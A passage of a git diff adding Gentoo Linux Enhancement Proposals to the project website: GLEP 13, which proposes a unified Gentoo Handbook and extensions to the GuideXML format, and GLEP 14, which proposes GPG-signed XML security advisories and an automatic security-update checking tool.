+<li>A chapter on Gentoo Development, which embraces all current
+development-specific guides, such as the Gentoo Developer HOWTO, the Gentoo
+Policy, the Ebuild HOWTO, the Eclass HOWTO, etc. This has already been
+frequently asked by the Gentoo ebuild maintainers and several other Gentoo
+Developers.</li>
+<li>A chapter specific to System Administration, such as Mailserver
+Administration, User Administration, Printing Administration etc. We already
+have several guides that describe parts of these items.</li>
+<li>A chapter specific to Gentoo Usage, including our popular Desktop
+Configuration Guide <a class="footnote-reference" href="#desktop" id="id7" name="id7">[7]</a> and several Application-specific guides.</li>
+</ul>
+<p>The following sections describe these steps more in detail...</p>
+<div class="section">
+<h2><a class="toc-backref" href="#id13" id="extending-guidexml" name="extending-guidexml">Extending GuideXML</a></h2>
+<p>The GuideXML format should be extended with the following items:</p>
+<ul class="simple">
+<li>More depth regarding information-divisions.</li>
+<li>&quot;Including&quot; external sourcecode</li>
+<li>Easier in-document references</li>
+</ul>
+<p>Our current GuideXML format provides us the following depth regarding
+information-division:</p>
+<pre class="literal-block">
+&lt;guide&gt;
+    &lt;chapter&gt;
+        &lt;section&gt;
+</pre>
+<p>The <tt class="docutils literal"><span class="pre">&lt;guide&gt;</span></tt> tag is currently a one-time tag: it defines the start of the
+guide, and ofcourse the guide ends with <tt class="docutils literal"><span class="pre">&lt;/guide&gt;</span></tt>.
+The <tt class="docutils literal"><span class="pre">&lt;chapter&gt;</span></tt> tag divides the document into seperate chapters. However,
+most of our documents have small chapters, whereas normal books and documents
+have chapters that encompasses several pages.
+The <tt class="docutils literal"><span class="pre">&lt;section&gt;</span></tt> tag further divides the chapter in which it resides.</p>
+<p>This means that our current installation guides have a division-depth of 2:
+you can define a chapter, and in that chapter make subdivisions with
+<tt class="docutils literal"><span class="pre">&lt;section&gt;</span></tt>. This is however insufficient for a handbook-like document. To
+improve the GuideXML, we can add <tt class="docutils literal"><span class="pre">&lt;subsection&gt;</span></tt> and, if needed,
+<tt class="docutils literal"><span class="pre">&lt;subsubsection&gt;</span></tt>, based on LaTeX's divisions.</p>
+<p>Another requisite is to be able to include external documents. Without this
+possibility, maintaining the handbook would be cumbersome to say the least.
+XSLT (which is used to process the GuideXML files) can easily provide this, so
+there are no specific needs to include this feature.</p>
+<p>A possible tag would be <tt class="docutils literal"><span class="pre">&lt;include</span> <span class="pre">file=&quot;foobar.xml&quot;</span> <span class="pre">/&gt;</span></tt>.</p>
+<p>With such a division, we could have each chapter inside its own document,
+making maintenance far more easy.</p>
+<p>The final implementation is in-document references. Currently, the Gentoo
+Documentation Developers have so guess in what chapter a certain section
+resides, and what section we are actually discussing: <tt class="docutils literal"><span class="pre">#doc_chap4_sect3</span></tt>
+provides us with a link to chapter 4, section 3. This is a workable
+implementation for small documents, but impossible for handbooks.</p>
+<p>Implementing a more HTML-alike reference inside the division-tags would be
+preferable: <tt class="docutils literal"><span class="pre">&lt;chapter</span> <span class="pre">name=&quot;installation&quot;&gt;</span></tt>, <tt class="docutils literal"><span class="pre">&lt;section</span>
+<span class="pre">name=&quot;partitioning&quot;&gt;</span></tt> etc. Refering would then be <tt class="docutils literal"><span class="pre">#installation</span></tt> and
+<tt class="docutils literal"><span class="pre">#partitioning</span></tt> respectively.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id14" id="installation-instructions" name="installation-instructions">Installation Instructions</a></h2>
+<p>The first real chapter (after some introduction) would be one about the Gentoo
+Installation. This chapter could then include all information regarding
+alternative installation instructions, architecture specific instructions,
+partitioning schemes, RAID installations and more without continuously
+referring to other sections throughout the handbook.</p>
+<p>In other words, a user that wants to install Gentoo Linux on his SPARC with
+ATA RAID should be able to do so following the instructions in the chapter
+<em>without</em> having to go forth and back between several pages. Creating such a
+chapter is not that easy just because we don't want our users to be sent from
+left to right and over again.</p>
+<p>Developing this chapter should be done in parallel with the development of the
+current guides (who still have a higher priority since these are still the
+official installation instructions as long as the chapter in the handbook
+isn't finished and reviewed for accuracy).</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id15" id="system-administration" name="system-administration">System Administration</a></h2>
+<p>This chapter, which bases its content on an existing base installation of
+Gentoo, described in the previous chapter, contains sections for several
+important administration items. This is a chapter that currently doesn't have
+many affected guides, but is very important to make Gentoo work (and be
+documented) in server-environments.</p>
+<p>The sections contain information on, but not limited to:</p>
+<pre class="literal-block">
+- Software Administration
+
+- User Administration
+
+- Mail Administration
+
+- Print Services
+
+- Network Administration
+
+- Storage Management
+
+- Security
+
+- Clustering
+</pre>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id16" id="gentoo-development" name="gentoo-development">Gentoo Development</a></h2>
+<p>As previously explained, this chapter would contain all the information needed
+to help the Gentoo development. It would embrace all the current existing
+guides regarding Ebuild and Eclass development, Stage Creation, Gentoo Policy
+etc.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id17" id="user-applications" name="user-applications">User Applications</a></h2>
+<p>Whereas the System Administration chapter contains the information on how to
+install software and services (such as XFree), this chapter would contain
+information for the users (not the administrators) on how they can use
+software installed by the system administrator.</p>
+<p>Gentoo currently has several guides that describe such user applications
+<a class="footnote-reference" href="#gendoc" id="id8" name="id8">[8]</a> and it seems that these are guides that our users really
+appreciate, so neglecting them would be signing our own death wish :)</p>
+<p>Due to the nature of these documents, the User Applications chapter will exist
+of independent sections.</p>
+</div>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id18" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>By making only small changes (actually extending) the GuideXML format, it is
+possible (and even adviseable) to develop each chapter on its own parallel
+with the guides that are involved.</p>
+<p>By developing the handbook in a subdirectory of the current documentation
+directory (for instance <tt class="docutils literal"><span class="pre">http://www.gentoo.org/doc/en/handbook</span></tt>) we maintain
+the current documentation. When a chapter on the handbook is finished, the
+involved documents can contain a big note on top, declaring that they are now
+obsoleted by the handbook's chapter.</p>
+<p>However, note that this handbook does <strong>not</strong> and will <strong>not</strong> embrace all
+documents that the Gentoo Documentation Project produces. It is very likely
+that there are guides that don't have a clear position inside this handbook.
+Instead of forcing the guide somewhere, we should leave the guide as a
+stand-alone document.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id19" id="reference-implementation" name="reference-implementation">Reference Implementation</a></h1>
+<p>This is a possible roadmap for the Gentoo Handbook:</p>
+<pre class="literal-block">
+- Improve the GuideXML format, possibly creating a handbook.xsl stylesheet
+(and leave the guide.xsl as it is now).
+
+- Implement the Installation Instructions
+
+- Develop a consistent layout, keeping the guides that are to be implemented
+  in mind.
+
+- Include all referenced guides. Do *not* extend it yet.
+
+- Review the installation instructions and make them official
+
+- Extend at will :)
+
+- Implement the Gentoo Development Instructions
+
+- Implement the User Application Instructions
+
+- Implement the System Administration Instructions
+</pre>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id20" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="instguide" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1" name="instguide">[1]</a></td><td><a class="reference" href="http://www.gentoo.org/doc/en/gentoo-x86-install.xml">http://www.gentoo.org/doc/en/gentoo-x86-install.xml</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="altinst" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id2" name="altinst">[2]</a></td><td><a class="reference" href="http://www.gentoo.org/doc/en/altinstall.xml">http://www.gentoo.org/doc/en/altinstall.xml</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="lvm" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id3" name="lvm">[3]</a></td><td><a class="reference" href="http://www.gentoo.org/doc/en/lvm.xml">http://www.gentoo.org/doc/en/lvm.xml</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="fbsdhandbook" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id4" name="fbsdhandbook">[4]</a></td><td><a class="reference" href="http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/index.html">http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/index.html</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="gdp" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id5" name="gdp">[5]</a></td><td><a class="reference" href="http://www.gentoo.org/proj/en/gdp">http://www.gentoo.org/proj/en/gdp</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="guidexml" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id6" name="guidexml">[6]</a></td><td><a class="reference" href="http://www.gentoo.org/doc/en/xml-guide.xml">http://www.gentoo.org/doc/en/xml-guide.xml</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="desktop" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id7" name="desktop">[7]</a></td><td><a class="reference" href="http://www.gentoo.org/doc/en/desktop.xml">http://www.gentoo.org/doc/en/desktop.xml</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="gendoc" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id8" name="gendoc">[8]</a></td><td><a class="reference" href="http://www.gentoo.org/main/en/docs.xml#doc_chap1_sect5">http://www.gentoo.org/main/en/docs.xml#doc_chap1_sect5</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id21" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0013.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0013.txt b/xml/htdocs/proj/en/glep/glep-0013.txt
new file mode 100644
index 00000000..7190d600
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0013.txt
@@ -0,0 +1,284 @@
+GLEP: 13
+Title: Providing the users with a Gentoo Handbook
+Version: $Revision: 1.2 $
+Last-Modified: $Date: 2004/10/26 00:21:28 $
+Author:	Sven Vermeulen <swift@gentoo.org>
+Status: Final
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 15 Aug 2003
+Post-History: 19-Aug-2003 25-Oct-2004
+
+Abstract
+========
+
+This GLEP provides a vision on the evolution of the Gentoo Documentation,
+namely a handbook-like document that provides its readers documentation about
+every aspect of the Gentoo distribution: installation, administration, 
+application usage, development etc.
+
+Motivation
+==========
+
+Gentoo's current Installation Guide [#InstGuide]_ is rapidly growing, being
+extended with more and more features that the Gentoo users can help with their
+quest for the perfect installation. This increase is needed and a Good Thing,
+but it makes the guide less easy to read or use as reference. 
+
+There is no reason whatsoever that this evolution will stagnate, on the
+contrary: people start asking why the Alternative Installation Guide
+[#AltInst]_ isn't merged into the Gentoo Installation Guide, or why the
+platform-specific installation guides can't be merged as they all use the same
+steps (with a few differences). I myself even hope to merge our LVM Guide
+[#LVM]_ into the Installation Guide as I believe several of our users would
+love to use LVM on their machines, but currently don't because they don't know
+how handy and easy it is -- you all know this feeling :)
+
+Rationale
+=========
+
+To address the beforementioned problem, there are two ideas:
+
+- Split the Installation Guide into several independent guides. For instance,
+  we can move the information regarding the kernelconfiguration into the
+  Kernel Guide, create a partitioning-howto that decribes the fdisk (and
+  possibly others) steps users need to go through, etc.
+
+- Merge all information into one Big Handbook. This is ofcourse an idea that
+  we borrow from our FreeBSD friends [#FBSDHandBook]_ who already have an
+  extensive handbook related to their BSD-distribution. 
+
+It is this second idea that this GLEP describes.
+
+This handbook-idea doesn't decrease the installation instructions, on the
+contrary, it extends them. However, by choosing a multiple-page handbook-like
+document, our users receive a fully integrated document that embraces
+everything he or she wants to know. It will also make it more easy to provide
+printable documentation (in PDF or other form) without loosing the comfort of
+having the installation documents online and on the LiveCDs.
+
+Implementation
+==============
+
+To implement such a handbook, the Gentoo Documentation Project [#GDP]_ needs a
+rewritten stylesheet for its GuideXML [#GuideXML]_ format. Since there are no 
+problems with GuideXML itself, and since it is very flexible in its use, the 
+recommendation to stick with GuideXML is clear. We do need some extra features 
+in GuideXML, without breaking the current GuideXML implementation.
+
+This last thing is important, since implementing this handbook-like document
+should be done parallel to the development of our current documentation:
+developing the Gentoo Handbook takes a long time and we don't want to force
+our users to use a non-usable document.
+
+After improving the GuideXML format, the first things that need to be
+addressed are the installation instructions. They should be merged with other,
+existing guides that inform the user with installation-specific items (such as
+the Aternative Installation Guide, LVM Guide, Platform-specific Installation 
+Guides, etc.
+
+Other chapters that need to be put in place are:
+
+- A chapter on Gentoo Development, which embraces all current
+  development-specific guides, such as the Gentoo Developer HOWTO, the Gentoo 
+  Policy, the Ebuild HOWTO, the Eclass HOWTO, etc. This has already been 
+  frequently asked by the Gentoo ebuild maintainers and several other Gentoo 
+  Developers. 
+
+- A chapter specific to System Administration, such as Mailserver
+  Administration, User Administration, Printing Administration etc. We already
+  have several guides that describe parts of these items. 
+
+- A chapter specific to Gentoo Usage, including our popular Desktop
+  Configuration Guide [#Desktop]_ and several Application-specific guides.
+
+The following sections describe these steps more in detail...
+
+Extending GuideXML
+------------------
+
+The GuideXML format should be extended with the following items:
+
+- More depth regarding information-divisions.
+
+- "Including" external sourcecode
+
+- Easier in-document references
+
+Our current GuideXML format provides us the following depth regarding
+information-division::
+
+    <guide>
+        <chapter>
+            <section>
+
+The ``<guide>`` tag is currently a one-time tag: it defines the start of the
+guide, and ofcourse the guide ends with ``</guide>``. 
+The ``<chapter>`` tag divides the document into seperate chapters. However, 
+most of our documents have small chapters, whereas normal books and documents 
+have chapters that encompasses several pages. 
+The ``<section>`` tag further divides the chapter in which it resides.
+
+This means that our current installation guides have a division-depth of 2:
+you can define a chapter, and in that chapter make subdivisions with
+``<section>``. This is however insufficient for a handbook-like document. To
+improve the GuideXML, we can add ``<subsection>`` and, if needed,
+``<subsubsection>``, based on LaTeX's divisions.
+
+
+Another requisite is to be able to include external documents. Without this
+possibility, maintaining the handbook would be cumbersome to say the least.
+XSLT (which is used to process the GuideXML files) can easily provide this, so
+there are no specific needs to include this feature.
+
+A possible tag would be ``<include file="foobar.xml" />``.
+
+With such a division, we could have each chapter inside its own document,
+making maintenance far more easy.
+
+
+The final implementation is in-document references. Currently, the Gentoo
+Documentation Developers have so guess in what chapter a certain section
+resides, and what section we are actually discussing: ``#doc_chap4_sect3``
+provides us with a link to chapter 4, section 3. This is a workable
+implementation for small documents, but impossible for handbooks. 
+
+Implementing a more HTML-alike reference inside the division-tags would be
+preferable: ``<chapter name="installation">``, ``<section
+name="partitioning">`` etc. Refering would then be ``#installation`` and
+``#partitioning`` respectively.
+
+
+Installation Instructions
+-------------------------
+
+The first real chapter (after some introduction) would be one about the Gentoo
+Installation. This chapter could then include all information regarding
+alternative installation instructions, architecture specific instructions,
+partitioning schemes, RAID installations and more without continuously
+referring to other sections throughout the handbook.
+
+In other words, a user that wants to install Gentoo Linux on his SPARC with
+ATA RAID should be able to do so following the instructions in the chapter
+*without* having to go forth and back between several pages. Creating such a 
+chapter is not that easy just because we don't want our users to be sent from 
+left to right and over again.
+
+Developing this chapter should be done in parallel with the development of the
+current guides (who still have a higher priority since these are still the
+official installation instructions as long as the chapter in the handbook
+isn't finished and reviewed for accuracy). 
+
+System Administration
+---------------------
+
+This chapter, which bases its content on an existing base installation of
+Gentoo, described in the previous chapter, contains sections for several
+important administration items. This is a chapter that currently doesn't have
+many affected guides, but is very important to make Gentoo work (and be
+documented) in server-environments.
+
+The sections contain information on, but not limited to::
+
+	- Software Administration
+
+	- User Administration
+
+	- Mail Administration
+
+	- Print Services
+
+	- Network Administration
+
+	- Storage Management
+
+	- Security
+
+	- Clustering
+
+
+Gentoo Development
+------------------
+
+As previously explained, this chapter would contain all the information needed
+to help the Gentoo development. It would embrace all the current existing
+guides regarding Ebuild and Eclass development, Stage Creation, Gentoo Policy
+etc.
+
+
+User Applications
+-----------------
+
+Whereas the System Administration chapter contains the information on how to
+install software and services (such as XFree), this chapter would contain
+information for the users (not the administrators) on how they can use
+software installed by the system administrator.
+
+Gentoo currently has several guides that describe such user applications
+[#GenDoc]_ and it seems that these are guides that our users really
+appreciate, so neglecting them would be signing our own death wish :)
+
+Due to the nature of these documents, the User Applications chapter will exist
+of independent sections.
+
+Backwards Compatibility
+=======================
+
+By making only small changes (actually extending) the GuideXML format, it is
+possible (and even adviseable) to develop each chapter on its own parallel
+with the guides that are involved. 
+
+By developing the handbook in a subdirectory of the current documentation
+directory (for instance ``http://www.gentoo.org/doc/en/handbook``) we maintain
+the current documentation. When a chapter on the handbook is finished, the
+involved documents can contain a big note on top, declaring that they are now
+obsoleted by the handbook's chapter.
+
+However, note that this handbook does **not** and will **not** embrace all
+documents that the Gentoo Documentation Project produces. It is very likely
+that there are guides that don't have a clear position inside this handbook.
+Instead of forcing the guide somewhere, we should leave the guide as a
+stand-alone document.
+
+Reference Implementation
+========================
+
+This is a possible roadmap for the Gentoo Handbook::
+
+  - Improve the GuideXML format, possibly creating a handbook.xsl stylesheet
+  (and leave the guide.xsl as it is now).
+
+  - Implement the Installation Instructions
+
+  - Develop a consistent layout, keeping the guides that are to be implemented 
+    in mind.
+
+  - Include all referenced guides. Do *not* extend it yet.
+
+  - Review the installation instructions and make them official
+
+  - Extend at will :)
+
+  - Implement the Gentoo Development Instructions
+
+  - Implement the User Application Instructions
+
+  - Implement the System Administration Instructions
+
+
+References
+==========
+
+.. [#InstGuide] http://www.gentoo.org/doc/en/gentoo-x86-install.xml
+.. [#AltInst] http://www.gentoo.org/doc/en/altinstall.xml
+.. [#LVM] http://www.gentoo.org/doc/en/lvm.xml
+.. [#FBSDHandBook] http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/index.html
+.. [#GDP] http://www.gentoo.org/proj/en/gdp
+.. [#GuideXML] http://www.gentoo.org/doc/en/xml-guide.xml
+.. [#Desktop] http://www.gentoo.org/doc/en/desktop.xml
+.. [#GenDoc] http://www.gentoo.org/main/en/docs.xml#doc_chap1_sect5
+
+Copyright
+=========
+
+This document has been placed in the public domain.
diff --git a/xml/htdocs/proj/en/glep/glep-0014.html b/xml/htdocs/proj/en/glep/glep-0014.html
new file mode 100644
index 00000000..2efb8e82
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0014.html
@@ -0,0 +1,186 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 14 -- security updates based on GLSA</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0014.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">14</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">security updates based on GLSA</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.6</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0014.txt?cvsroot=gentoo">2006/10/14 02:54:24</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Marius Mauch &lt;genone&#32;&#97;t&#32;genone.de&gt;,</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Accepted</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">18 Aug 2003</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">22-Aug-2003, 24-Aug-2003, 10-Nov-2003, 25-Oct-2004</td>
+</tr>
+<tr class="field"><th class="field-name">Requires:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/proj/en/glepglep-0021.html">21</a></td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id2" name="id2">Abstract</a></li>
+<li><a class="reference" href="#status-update" id="id3" name="id3">Status Update</a></li>
+<li><a class="reference" href="#motivation" id="id4" name="id4">Motivation</a></li>
+<li><a class="reference" href="#proposed-change" id="id5" name="id5">Proposed change</a><ul>
+<li><a class="reference" href="#update-tool" id="id6" name="id6">Update tool</a></li>
+<li><a class="reference" href="#glsa-format" id="id7" name="id7">GLSA format</a></li>
+<li><a class="reference" href="#glsa-release-process" id="id8" name="id8">GLSA release process</a></li>
+<li><a class="reference" href="#portage-changes" id="id9" name="id9">Portage changes</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#rationale" id="id10" name="id10">Rationale</a></li>
+<li><a class="reference" href="#implementation" id="id11" name="id11">Implementation</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id12" name="id12">Backwards compatibility</a></li>
+<li><a class="reference" href="#copyright" id="id13" name="id13">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id2" id="abstract" name="abstract">Abstract</a></h1>
+<p>There is currently no automatic way to check a Gentoo system for identified
+security holes or auto-apply security fixes. This GLEP proposes a way to deal
+with this issue</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id3" id="status-update" name="status-update">Status Update</a></h1>
+<p>Preliminary implementation <tt class="docutils literal"><span class="pre">glsa-check</span></tt> in gentoolkit, final implementation
+pending set support in portage (GLEP 21).</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="motivation" name="motivation">Motivation</a></h1>
+<p>Automatic checking for security updates is a often requested feature for Gentoo.
+Implementing it will enable users to fix security holes without reading every
+security announcement. It's also a feature that is often required in enterprise
+environments.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="proposed-change" name="proposed-change">Proposed change</a></h1>
+<div class="section">
+<h2><a class="toc-backref" href="#id6" id="update-tool" name="update-tool">Update tool</a></h2>
+<p>The coding part of this GLEP is a update tool that reads a GLSA, verifies its
+GPG signature, checks if the system is affected by it and executes one of the
+following actions, depending on user preferences:</p>
+<ul class="simple">
+<li>run all steps necessary to fix the security hole, including package updates and
+daemon restarts.</li>
+<li>instruct the user how to fix the security hole.</li>
+<li>print the GLSA so the user can get more information if desired.</li>
+</ul>
+<p>Once this tool is implemented and well tested it can be integrated into portage.
+A prototype <a class="reference" href="#implementation">implementation</a> for this tool exists.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id7" id="glsa-format" name="glsa-format">GLSA format</a></h2>
+<p>The GLSA format needs to be specified, I suggest using XML for that to simplify
+parsing and later extensions. See <a class="reference" href="#implementation">implementation</a> for a sample DTD. The format
+has to be compatible with the update tool of course. If necessary a converter
+tool or an editor could be written for people not comfortable with XML (update:
+a QT based editor for the GLSA format written by plasmaroo exists in the
+gentoo-projects repository). Every GLSA has to be GPG signed by the responsible
+developer, who has to be a member of the security herd.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id8" id="glsa-release-process" name="glsa-release-process">GLSA release process</a></h2>
+<p>Additional to sending the GLSA to the gentoo-announce mailing list it has to be
+stored on a HTTP/FTP server and in the portage tree. I'd suggest a script should
+be used to release a GLSA that will:</p>
+<ul class="simple">
+<li>check the GLSA for correctness</li>
+<li>sign the GLSA with the developers GPG key</li>
+<li>send a mail to gentoo-announce with the XML GLSA and a plaintext version attached</li>
+<li>upload it to www.gentoo.org/security/en/glsa (via cvs commit)</li>
+<li>put it on the rsync server (via cvs commit)</li>
+<li>notify the moderators on the forums to make an announcement</li>
+</ul>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id9" id="portage-changes" name="portage-changes">Portage changes</a></h2>
+<p>Until the <a class="reference" href="#update-tool">update tool</a> is integrated into portage there will be no code changes
+to portage. The update tool might require a few new configuration options, these
+could be placed in make.conf or another config file in /etc/portage.</p>
+</div>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="rationale" name="rationale">Rationale</a></h1>
+<p>The lack of automated security updates for Gentoo is one of the most often requested
+features for portage as it is one of the standard features of other distributions.
+As Gentoo already provides GLSAs for important security bugs it is only natural
+to use these to implement this feature.</p>
+<p>To parse a GLSA in a program the format needs to be specified and a parser has
+to be written. I suggest the use of XML for future GLSAs for the following reasons:</p>
+<ul class="simple">
+<li>can be parsed and validated with existing libraries</li>
+<li>easy to extend while maintaining backwards compatibility</li>
+<li>tools can convert XML GLSAs in other formats, the other direction would be harder</li>
+<li>websites can use XSLT to markup GLSAs</li>
+</ul>
+<p>Putting the GLSAs in the portage tree allows all users to check their systems
+for security updates without taking more actions and simplifies later integration
+of the update tool into portage. For security minded persons the GLSAs are
+available on a HTTP server to ease the load of the rsync servers.</p>
+<p>To verify the signatures of the GLSAs the public keys of the developers should be
+available in the portage tree and on the HTTP server. The verification is necessary
+to prevent exploits by fake GLSAs.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id11" id="implementation" name="implementation">Implementation</a></h1>
+<p>A prototype implementation (including the update tool, a DTD and a sample
+XMLified GLSA) exists at <a class="reference" href="http://gentoo.devel-net.org/glsa/">http://gentoo.devel-net.org/glsa/</a> and in the
+gentoo-projects/gentoo-security/GLSA repository. This GLEP is based
+on that implementation, though it can be changed or rewritten if necessary.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id12" id="backwards-compatibility" name="backwards-compatibility">Backwards compatibility</a></h1>
+<p>The current <a class="reference" href="#glsa-release-process">GLSA release process</a> needs to be replaced with this proposal. It
+would be nice if old GLSAs would be transformed into XML as well, but that is
+not a requirement for this GLEP.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id13" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0014.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0014.txt b/xml/htdocs/proj/en/glep/glep-0014.txt
new file mode 100644
index 00000000..6dc1e694
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0014.txt
@@ -0,0 +1,137 @@
+GLEP: 14
+Title: security updates based on GLSA
+Version: $Revision: 1.6 $
+Last-Modified: $Date: 2006/10/14 02:54:24 $
+Author:	Marius Mauch <genone@genone.de>,
+Status: Accepted
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 18 Aug 2003
+Post-History: 22-Aug-2003, 24-Aug-2003, 10-Nov-2003, 25-Oct-2004
+Requires: 21
+
+Abstract
+========
+
+There is currently no automatic way to check a Gentoo system for identified
+security holes or auto-apply security fixes. This GLEP proposes a way to deal
+with this issue
+
+Status Update
+=============
+
+Preliminary implementation ``glsa-check`` in gentoolkit, final implementation 
+pending set support in portage (GLEP 21).
+
+
+Motivation
+==========
+
+Automatic checking for security updates is a often requested feature for Gentoo.
+Implementing it will enable users to fix security holes without reading every
+security announcement. It's also a feature that is often required in enterprise
+environments.
+
+
+Proposed change
+===============
+
+Update tool
+-----------
+
+The coding part of this GLEP is a update tool that reads a GLSA, verifies its
+GPG signature, checks if the system is affected by it and executes one of the 
+following actions, depending on user preferences:
+
+- run all steps necessary to fix the security hole, including package updates and
+  daemon restarts.
+- instruct the user how to fix the security hole.
+- print the GLSA so the user can get more information if desired.
+
+Once this tool is implemented and well tested it can be integrated into portage.
+A prototype `implementation`_ for this tool exists.
+
+
+GLSA format
+-----------
+
+The GLSA format needs to be specified, I suggest using XML for that to simplify
+parsing and later extensions. See `implementation`_ for a sample DTD. The format
+has to be compatible with the update tool of course. If necessary a converter
+tool or an editor could be written for people not comfortable with XML (update:
